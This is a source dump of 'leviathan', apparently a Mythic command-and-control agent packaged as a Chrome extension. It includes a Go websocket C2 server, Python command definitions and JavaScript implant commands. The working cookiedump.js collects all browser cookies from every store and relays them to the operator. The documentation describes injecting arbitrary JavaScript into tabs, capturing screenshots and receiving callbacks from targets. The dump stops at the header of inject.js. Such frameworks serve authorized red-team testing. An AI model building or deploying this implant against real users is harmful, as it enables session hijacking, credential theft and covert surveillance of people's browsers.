├── C2_Profiles └── .keep ├── Payload_Type ├── .keep └── leviathan │ ├── __init__.py │ ├── leviathan_websocket │ ├── __init__.py │ ├── c2_code │ │ ├── index.html │ │ ├── go.mod │ │ ├── build_help │ │ ├── config.json │ │ ├── go.sum │ │ ├── Makefile │ │ ├── main.go │ │ └── servers │ │ │ ├── server.go │ │ │ └── websocket.go │ └── websocket.py │ ├── leviathan │ ├── agent_functions │ │ ├── __init__.py │ │ ├── tabs.py │ │ ├── userinfo.py │ │ ├── exit.py │ │ ├── cookiedump.py │ │ ├── screencapture.py │ │ ├── sleep.py │ │ ├── inject.py │ │ └── builder.py │ ├── agent_code │ │ ├── extension │ │ │ ├── icons │ │ │ │ └── blank.png │ │ │ └── utils │ │ │ │ └── kl.js │ │ ├── commands │ │ │ ├── load.js │ │ │ ├── sleep.js │ │ │ ├── exit.js │ │ │ ├── cookiedump.js │ │ │ ├── inject.js │ │ │ ├── userinfo.js │ │ │ ├── tabs.js │ │ │ └── screencapture.js │ │ ├── manifest.json │ │ ├── chrome-extension.js │ │ └── c2 │ │ │ └── leviathan-websocket.js │ └── __init__.py │ ├── rabbitmq_config.json │ ├── main.py │ ├── Dockerfile │ └── Makefile ├── agent_icons ├── .keep └── leviathan.svg ├── documentation-c2 └── .keep ├── documentation-payload ├── .keep └── leviathan │ ├── c2_profiles │ ├── _index.md │ └── leviathan-websocket.md │ ├── commands │ ├── _index.md │ ├── sleep.md │ ├── tabs.md │ ├── load.md │ ├── screencapture.md │ ├── cookiedump.md │ ├── userinfo.md │ ├── exit.md │ └── inject.md │ ├── opsec.md │ ├── development.md │ └── _index.md ├── documentation-wrapper └── .keep ├── config.json ├── LICENSE ├── README.md └── .gitignore /C2_Profiles/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /agent_icons/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /documentation-c2/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /documentation-payload/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /documentation-wrapper/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/rabbitmq_config.json: -------------------------------------------------------------------------------- 1 | { 2 | "rabbitmq_host": "127.0.0.1", 3 | "mythic_server_host": "127.0.0.1", 4 | "debug_level": "debug" 5 | } -------------------------------------------------------------------------------- /Payload_Type/leviathan/main.py: -------------------------------------------------------------------------------- 1 | import mythic_container 2 | import leviathan 3 | from leviathan_websocket.websocket import * 4 | 5 | mythic_container.mythic_service.start_and_run_forever() -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/extension/icons/blank.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MythicAgents/leviathan/HEAD/Payload_Type/leviathan/leviathan/agent_code/extension/icons/blank.png -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "exclude_payload_type": false, 3 | "exclude_c2_profiles": false, 4 | "exclude_documentation_payload": false, 5 | "exclude_documentation_c2": false, 6 | "exclude_agent_icons": false 7 | } 8 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Under Construction 5 | 6 | 7 |

This page is under construction. Please come back soon!

8 | 9 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/MythicC2Profiles/websocket 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/gorilla/websocket v1.5.0 7 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3 8 | ) 9 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/build_help: -------------------------------------------------------------------------------- 1 | To build the sever: 2 | 3 | go get github.com/gorilla/websocket 4 | go get github.com/kabukky/httpscerts 5 | go build -tags=websocket main.go 6 | 7 | this outputs a binary called "main" 8 | move this to ../server -------------------------------------------------------------------------------- /documentation-payload/leviathan/c2_profiles/_index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "C2 Profiles" 3 | chapter = true 4 | weight = 25 5 | pre = "4. " 6 | +++ 7 | 8 | # Supported C2 Profiles 9 | 10 | This section goes into any `leviathan` specifics for the supported C2 profiles. 11 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/_index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "Commands" 3 | chapter = true 4 | weight = 15 5 | pre = "2. " 6 | +++ 7 | 8 | # leviathan Command Reference 9 | These pages provide in-depth documentation and code samples for the `leviathan` commands. 10 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "bindaddress": "0.0.0.0:8081", 3 | "usessl": false, 4 | "sslkey":"", 5 | "sslcert":"", 6 | "websocketuri": "socket", 7 | "defaultpage": "index.html", 8 | "logfile": "server.log", 9 | "debug": false 10 | } 11 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/c2_profiles/leviathan-websocket.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "leviathan-websocket" 3 | chapter = false 4 | weight = 102 5 | +++ 6 | 7 | ## Summary 8 | The leviathan agent exclusively uses the websocket c2 profile with no deviations. 9 | 10 | ### Profile Option Deviations 11 | 12 | 13 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM itsafeaturemythic/mythic_python_go:latest 2 | 3 | RUN git clone https://github.com/pawliczka/CRX3-Creator /CRX3-Creator 4 | RUN pip3 install cryptography==3.3.2 5 | RUN pip3 install pycparser==2.19 6 | RUN pip3 install six==1.13.0 7 | 8 | WORKDIR /Mythic/ 9 | 10 | COPY [".", "."] 11 | 12 | RUN make build 13 | 14 | CMD make run -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/go.sum: -------------------------------------------------------------------------------- 1 | github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= 2 | github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 3 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3 h1:Iy7Ifq2ysilWU4QlCx/97OoI4xT1IV7i8byT/EyIT/M= 4 | github.com/kabukky/httpscerts v0.0.0-20150320125433-617593d7dcb3/go.mod h1:BYpt4ufZiIGv2nXn4gMxnfKV306n3mWXgNu/d2TqdTU= 5 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/opsec.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "OPSEC" 3 | chapter = false 4 | weight = 10 5 | pre = "1. " 6 | +++ 7 | 8 | ## Considerations 9 | The leviathan agent does not utilize AES encryption for C2 communications. 10 | 11 | ### Post-Exploitation Jobs 12 | All post-exploitation tasks are executed in an asynchronous manner. 13 | 14 | ### Connections 15 | There's one held-open connection via WebSockets, then all tasking occurs within that connection. -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/sleep.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "sleep" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Change the sleep interval for an agent 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | #### sleep 18 | 19 | - Description: Adjust the callback interval in seconds 20 | - Required Value: True 21 | - Default Value: None 22 | 23 | ## Usage 24 | 25 | ``` 26 | sleep {"sleep":10} 27 | ``` 28 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/tabs.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "tabs" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Retrieve information about all open tabs in the current window 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | tabs 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | 26 | This command uses the chrome.tabs.query API to retrieve information for all open tabs. 27 | https://developer.chrome.com/extensions/tabs#method-query 28 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/load.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "load" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Load a command into the extension 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | load [command_name] 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | 26 | This loads the specified command into the extension. The command must be saved in the `chrome-extension/agent_commands` folder according to the template defined in the development section. -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/screencapture.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "screencapture" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Capture a screenshot of the active tab 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | screencapture 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | 26 | This command uses the chrome.tabs.captureVisibleTab API to grab a screenshot of the specified tab. 27 | https://developer.chrome.com/extensions/tabs#method-captureVisibleTab -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/cookiedump.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "cookiedump" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Dump all cookies from the currently selected cookie jar 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | cookiedump 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | This command uses the chrome.cookies.getAll API to obtain all available cookies for the current user. 26 | https://developer.chrome.com/extensions/cookies#method-getAll 27 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/userinfo.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "userinfo" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Retrieve user information about the current user 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | userinfo 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | 26 | This command uses the chrome.identity.getProfileUserInfo API to obtain additional information about the current user. 27 | https://developer.chrome.com/extensions/identity#method-getProfileUserInfo -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/exit.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "exit" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Exit the extension 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | ## Usage 18 | 19 | ``` 20 | exit 21 | ``` 22 | 23 | 24 | ## Detailed Summary 25 | 26 | This exits the current instance of the browser extension. This does _NOT_ remove the extension. It simply kills the connection. If the target closes and re-opens Chrome, you will get a new callback. Similarly, if you push an update to the extension, you'll get a new callback. -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | import os.path 3 | from pathlib import Path 4 | from importlib import import_module, invalidate_caches 5 | import sys 6 | # Get file paths of all modules. 7 | 8 | currentPath = Path(__file__) 9 | searchPath = currentPath.parent / "agent_functions" / "*.py" 10 | modules = glob.glob(f"{searchPath}") 11 | invalidate_caches() 12 | for x in modules: 13 | if not x.endswith("__init__.py") and x[-3:] == ".py": 14 | module = import_module(f"{__name__}.agent_functions." + Path(x).stem) 15 | for el in dir(module): 16 | if "__" not in el: 17 | globals()[el] = getattr(module, el) 18 | 19 | 20 | sys.path.append(os.path.abspath(currentPath.name)) 21 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: default 2 | default: build_linux ; 3 | 4 | BINARY_NAME?=mythic_leviathan_websocket_server 5 | DEBUG_LEVEL?="debug" 6 | MYTHIC_SERVER_HOST?="127.0.0.1" 7 | MYTHIC_SERVER_PORT?="17443" 8 | 9 | build: 10 | go mod download 11 | go mod tidy 12 | CGO_ENABLED=0 go build -o ${BINARY_NAME} -tags=websocket . 13 | cp ${BINARY_NAME} / 14 | 15 | build_local: 16 | go mod download 17 | go mod tidy 18 | CGO_ENABLED=0 go build -o ${BINARY_NAME} -tags=websocket . 19 | 20 | run: 21 | cp /${BINARY_NAME} . 22 | 23 | build_macos: 24 | go build -o ${BINARY_NAME} -tags=websocket . 25 | 26 | run_custom: 27 | DEBUG_LEVEL=${DEBUG_LEVEL} \ 28 | MYTHIC_SERVER_HOST=${MYTHIC_SERVER_HOST} \ 29 | MYTHIC_SERVER_PORT=${MYTHIC_SERVER_PORT} \ 30 | ./${BINARY_NAME} 31 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "github.com/MythicC2Profiles/websocket/servers" 6 | "io" 7 | "log" 8 | "os" 9 | ) 10 | 11 | func main() { 12 | c2config := servers.C2Config{} 13 | if cf, err := os.Open("config.json"); err != nil { 14 | log.Println("Error opening config file ", err.Error()) 15 | os.Exit(-1) 16 | } else if config, err := io.ReadAll(cf); err != nil { 17 | log.Println("Error in reading config file ", err.Error()) 18 | os.Exit(-1) 19 | } else if err = json.Unmarshal(config, &c2config); err != nil { 20 | log.Println("Error in unmarshal call for config ", err.Error()) 21 | os.Exit(-1) 22 | } 23 | // start the server instance with the config 24 | c2server := servers.NewInstance().(servers.Server) 25 | 26 | c2server.Run(c2config) 27 | 28 | } 29 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/commands/inject.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "inject" 3 | chapter = false 4 | weight = 100 5 | hidden = false 6 | +++ 7 | 8 | ## Summary 9 | 10 | Inject arbitrary javascript into a browser tab 11 | - Needs Admin: False 12 | - Version: 1 13 | - Author: @xorrior 14 | 15 | ### Arguments 16 | 17 | #### tabid 18 | 19 | - Description: 20 | - Required Value: True 21 | - Default Value: None 22 | 23 | #### javascript 24 | 25 | - Description: Base64 encoded javascript 26 | - Required Value: False 27 | - Default Value: None 28 | 29 | ## Usage 30 | 31 | ``` 32 | inject {"tabid":0,"javascript":"base64 encoded javascript"} 33 | ``` 34 | 35 | 36 | ## Detailed Summary 37 | 38 | This command uses the chrome.tabs.executeScript API to inject arbitrary javascript code into a browser tab. 39 | https://developer.chrome.com/extensions/tabs#method-executeScript -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/servers/server.go: -------------------------------------------------------------------------------- 1 | package servers 2 | 3 | // C2Config - struct for server configuration 4 | type C2Config struct { 5 | BindAddress string `json:"bindaddress"` 6 | SocketURI string `json:"websocketuri"` 7 | SSLKey string `json:"sslkey"` 8 | SSLCert string `json:"sslcert"` 9 | UseSSL bool `json:"usessl"` 10 | Defaultpage string `json:"defaultpage"` 11 | Logfile string `json:"logfile"` 12 | Debug bool `json:"debug"` 13 | } 14 | 15 | // Server - interface used for all c2 profiles 16 | type Server interface { 17 | ApfellBaseURL() string 18 | SetMythicBaseURL(url string) 19 | Run(cf interface{}) 20 | } 21 | 22 | // Message - struct definition for messages between clients and the server 23 | type Message struct { 24 | Tag string `json:"tag"` 25 | Client bool `json:"client"` 26 | Data string `json:"data"` 27 | } 28 | 29 | func NewInstance() interface{} { 30 | return newServer() 31 | } 32 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/tabs.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class TabsArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [] 9 | 10 | async def parse_arguments(self): 11 | pass 12 | 13 | 14 | class TabsCommand(CommandBase): 15 | cmd = "tabs" 16 | needs_admin = False 17 | help_cmd = "tabs" 18 | description = "Retrieve information about all open tabs in the current window" 19 | version = 1 20 | author = "@xorrior" 21 | argument_class = TabsArguments 22 | attackmapping = [] 23 | 24 | async def create_tasking(self, task: MythicTask) -> MythicTask: 25 | return task 26 | 27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 29 | return resp 30 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/userinfo.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class UserInfoArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [] 9 | 10 | async def parse_arguments(self): 11 | pass 12 | 13 | 14 | class UserInfoCommand(CommandBase): 15 | cmd = "userinfo" 16 | needs_admin = False 17 | help_cmd = "userinfo" 18 | description = "Retrieve user information about the current user" 19 | version = 1 20 | author = "@xorrior" 21 | argument_class = UserInfoArguments 22 | attackmapping = [] 23 | 24 | async def create_tasking(self, task: MythicTask) -> MythicTask: 25 | return task 26 | 27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 29 | return resp 30 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/exit.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class ExitArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [] 9 | 10 | async def parse_arguments(self): 11 | pass 12 | 13 | 14 | class ExitCommand(CommandBase): 15 | cmd = "exit" 16 | needs_admin = False 17 | help_cmd = "exit" 18 | description = "Exit the extension" 19 | version = 1 20 | supported_ui_features = ["callback_table:exit"] 21 | author = "@xorrior" 22 | argument_class = ExitArguments 23 | attackmapping = [] 24 | 25 | async def create_tasking(self, task: MythicTask) -> MythicTask: 26 | return task 27 | 28 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 29 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 30 | return resp 31 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/load.js: -------------------------------------------------------------------------------- 1 | exports.load = function(task) { 2 | // TODO: load 3 | try { 4 | let args = JSON.parse(task.parameters); 5 | let response = {'action':'upload','full_path':'', 'chunk_size':1024000, 'chunk_num':1,'file_id':args.file_id}; 6 | let encodedResponse = JSON.stringify(response); 7 | let final = apfell.apfellid + encodedResponse; 8 | let msg = btoa(unescape(encodeURIComponent(final))); 9 | out.push(msg); 10 | loads.push({'type':'load','name': args.cmds,'file_id':args.file_id, 'task_id':task.id,'data':[]}); 11 | } catch (error) { 12 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 13 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 14 | let enc = JSON.stringify(outer_response); 15 | let final = apfell.apfellid + enc; 16 | let msg = btoa(unescape(encodeURIComponent(final))); 17 | out.push(msg); 18 | } 19 | 20 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/cookiedump.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class CookieDumpArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [] 9 | 10 | async def parse_arguments(self): 11 | pass 12 | 13 | 14 | class CookieDumpCommand(CommandBase): 15 | cmd = "cookiedump" 16 | needs_admin = False 17 | help_cmd = "cookiedump" 18 | description = "Dump all cookies from the currently selected cookie jar" 19 | version = 1 20 | author = "@xorrior" 21 | argument_class = CookieDumpArguments 22 | attackmapping = ["T1539"] 23 | 24 | async def create_tasking(self, task: MythicTask) -> MythicTask: 25 | return task 26 | 27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 29 | return resp 30 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/screencapture.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class ScreencaptureArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [] 9 | 10 | async def parse_arguments(self): 11 | pass 12 | 13 | 14 | class ScreencaptureCommand(CommandBase): 15 | cmd = "screencapture" 16 | needs_admin = False 17 | help_cmd = "screencapture" 18 | description = "Capture a screenshot of the active tab" 19 | version = 1 20 | author = "@xorrior" 21 | argument_class = ScreencaptureArguments 22 | attackmapping = ["T1113"] 23 | 24 | async def create_tasking(self, task: MythicTask) -> MythicTask: 25 | return task 26 | 27 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 28 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 29 | return resp 30 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/Makefile: -------------------------------------------------------------------------------- 1 | BINARY_NAME?=main 2 | DEBUG_LEVEL?="warning" 3 | RABBITMQ_HOST?="127.0.0.1" 4 | RABBITMQ_PASSWORD?="" 5 | MYTHIC_SERVER_HOST?="127.0.0.1" 6 | MYTHIC_SERVER_GRPC_PORT?="17444" 7 | WEBHOOK_DEFAULT_URL?= 8 | WEBHOOK_DEFAULT_CHANNEL?= 9 | WEBHOOK_DEFAULT_FEEDBACK_CHANNEL?= 10 | WEBHOOK_DEFAULT_CALLBACK_CHANNEL?= 11 | WEBHOOK_DEFAULT_STARTUP_CHANNEL?= 12 | 13 | build: 14 | cd leviathan_websocket/c2_code && make build 15 | 16 | run: 17 | cd leviathan_websocket/c2_code && make run 18 | python3 main.py 19 | 20 | run_custom: 21 | DEBUG_LEVEL=${DEBUG_LEVEL} \ 22 | RABBITMQ_HOST=${RABBITMQ_HOST} \ 23 | RABBITMQ_PASSWORD=${RABBITMQ_PASSWORD} \ 24 | MYTHIC_SERVER_HOST=${MYTHIC_SERVER_HOST} \ 25 | MYTHIC_SERVER_GRPC_PORT=${MYTHIC_SERVER_GRPC_PORT} \ 26 | WEBHOOK_DEFAULT_URL=${WEBHOOK_DEFAULT_URL} \ 27 | WEBHOOK_DEFAULT_CHANNEL=${WEBHOOK_DEFAULT_CHANNEL} \ 28 | WEBHOOK_DEFAULT_FEEDBACK_CHANNEL=${WEBHOOK_DEFAULT_FEEDBACK_CHANNEL} \ 29 | WEBHOOK_DEFAULT_CALLBACK_CHANNEL=${WEBHOOK_DEFAULT_CALLBACK_CHANNEL} \ 30 | WEBHOOK_DEFAULT_STARTUP_CHANNEL=${WEBHOOK_DEFAULT_STARTUP_CHANNEL} \ 31 | python3 main.py 32 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/sleep.js: -------------------------------------------------------------------------------- 1 | exports.sleep = function(task) { 2 | try { 3 | let args = JSON.parse(task.parameters.toString()); 4 | C2.interval = args.sleep; 5 | clearInterval(mainloop); 6 | mainloop = setInterval(c2loop, C2.interval * 1000); 7 | let response = {"task_id":task.id, "user_output":"updated sleep to " + C2.interval, "completed": true}; 8 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 9 | let enc = JSON.stringify(outer_response); 10 | let final = apfell.apfellid + enc; 11 | let msg = btoa(unescape(encodeURIComponent(final))); 12 | out.push(msg); 13 | } catch (error) { 14 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 15 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 16 | let enc = JSON.stringify(outer_response); 17 | let final = apfell.apfellid + enc; 18 | let msg = btoa(unescape(encodeURIComponent(final))); 19 | out.push(msg); 20 | } 21 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/exit.js: -------------------------------------------------------------------------------- 1 | exports.exit = function(task) { 2 | try { 3 | let response = {"task_id":task.id, "user_output":"exiting", "completed": true}; 4 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 5 | let enc = JSON.stringify(outer_response); 6 | let final = apfell.apfellid + enc; 7 | let msg = btoa(unescape(encodeURIComponent(final))); 8 | let meta = { 9 | "data": msg, 10 | "client": true, 11 | "tag":"", 12 | }; 13 | let fullmsg = JSON.stringify(meta); 14 | connection.send(fullmsg); 15 | setTimeout(function name(params) { 16 | connection.close(); 17 | }, C2.interval); 18 | } catch (error) { 19 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 21 | let enc = JSON.stringify(outer_response); 22 | let final = apfell.apfellid + enc; 23 | let msg = btoa(unescape(encodeURIComponent(final))); 24 | out.push(msg); 25 | } 26 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/sleep.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class SleepArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter( 10 | name="sleep", 11 | type=ParameterType.Number, 12 | description="Adjust the callback interval in seconds", 13 | ), 14 | ] 15 | 16 | async def parse_arguments(self): 17 | self.load_args_from_json_string(self.command_line) 18 | 19 | 20 | class SleepCommand(CommandBase): 21 | cmd = "sleep" 22 | needs_admin = False 23 | help_cmd = 'sleep {"sleep":10}' 24 | description = "Change the sleep interval for an agent" 25 | version = 1 26 | author = "@xorrior" 27 | argument_class = SleepArguments 28 | attackmapping = [] 29 | 30 | async def create_tasking(self, task: MythicTask) -> MythicTask: 31 | task.display_params = str(task.args.get_arg("sleep")) + "s" 32 | return task 33 | 34 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 35 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 36 | return resp 37 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/cookiedump.js: -------------------------------------------------------------------------------- 1 | exports.cookiedump = function(task) { 2 | try { 3 | let results = []; 4 | chrome.cookies.getAllCookieStores(function(stores) { 5 | stores.forEach(function (store) { 6 | const filter = {}; 7 | filter["storeId"] = store.id; 8 | chrome.cookies.getAll({"storeId": store.id}, function (cookies) { 9 | let response = {'task_id':task.id, 'user_output':JSON.stringify(cookies, null, 2), 'completed':true}; 10 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 11 | let enc = JSON.stringify(outer_response); 12 | let final = apfell.apfellid + enc; 13 | let msg = btoa(unescape(encodeURIComponent(final))); 14 | out.push(msg); 15 | }); 16 | }); 17 | }); 18 | } catch (error) { 19 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 21 | let enc = JSON.stringify(outer_response); 22 | let final = apfell.apfellid + enc; 23 | let msg = btoa(unescape(encodeURIComponent(final))); 24 | out.push(msg); 25 | } 26 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/inject.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class InjectArguments(TaskArguments): 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter(name="tabid", type=ParameterType.Number), 10 | CommandParameter( 11 | name="javascript", 12 | type=ParameterType.String, 13 | description="Base64 encoded javascript", 14 | ), 15 | ] 16 | 17 | async def parse_arguments(self): 18 | self.load_args_from_json_string(self.command_line) 19 | 20 | 21 | class InjectCommand(CommandBase): 22 | cmd = "inject" 23 | needs_admin = False 24 | help_cmd = 'inject {"tabid":0,"javascript":"base64 encoded javascript"}' 25 | description = "Inject arbitrary javascript into a browser tab" 26 | version = 1 27 | author = "@xorrior" 28 | argument_class = InjectArguments 29 | attackmapping = ["T1059.007"] 30 | 31 | async def create_tasking(self, task: MythicTask) -> MythicTask: 32 | return task 33 | 34 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 35 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 36 | return resp 37 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/inject.js: -------------------------------------------------------------------------------- 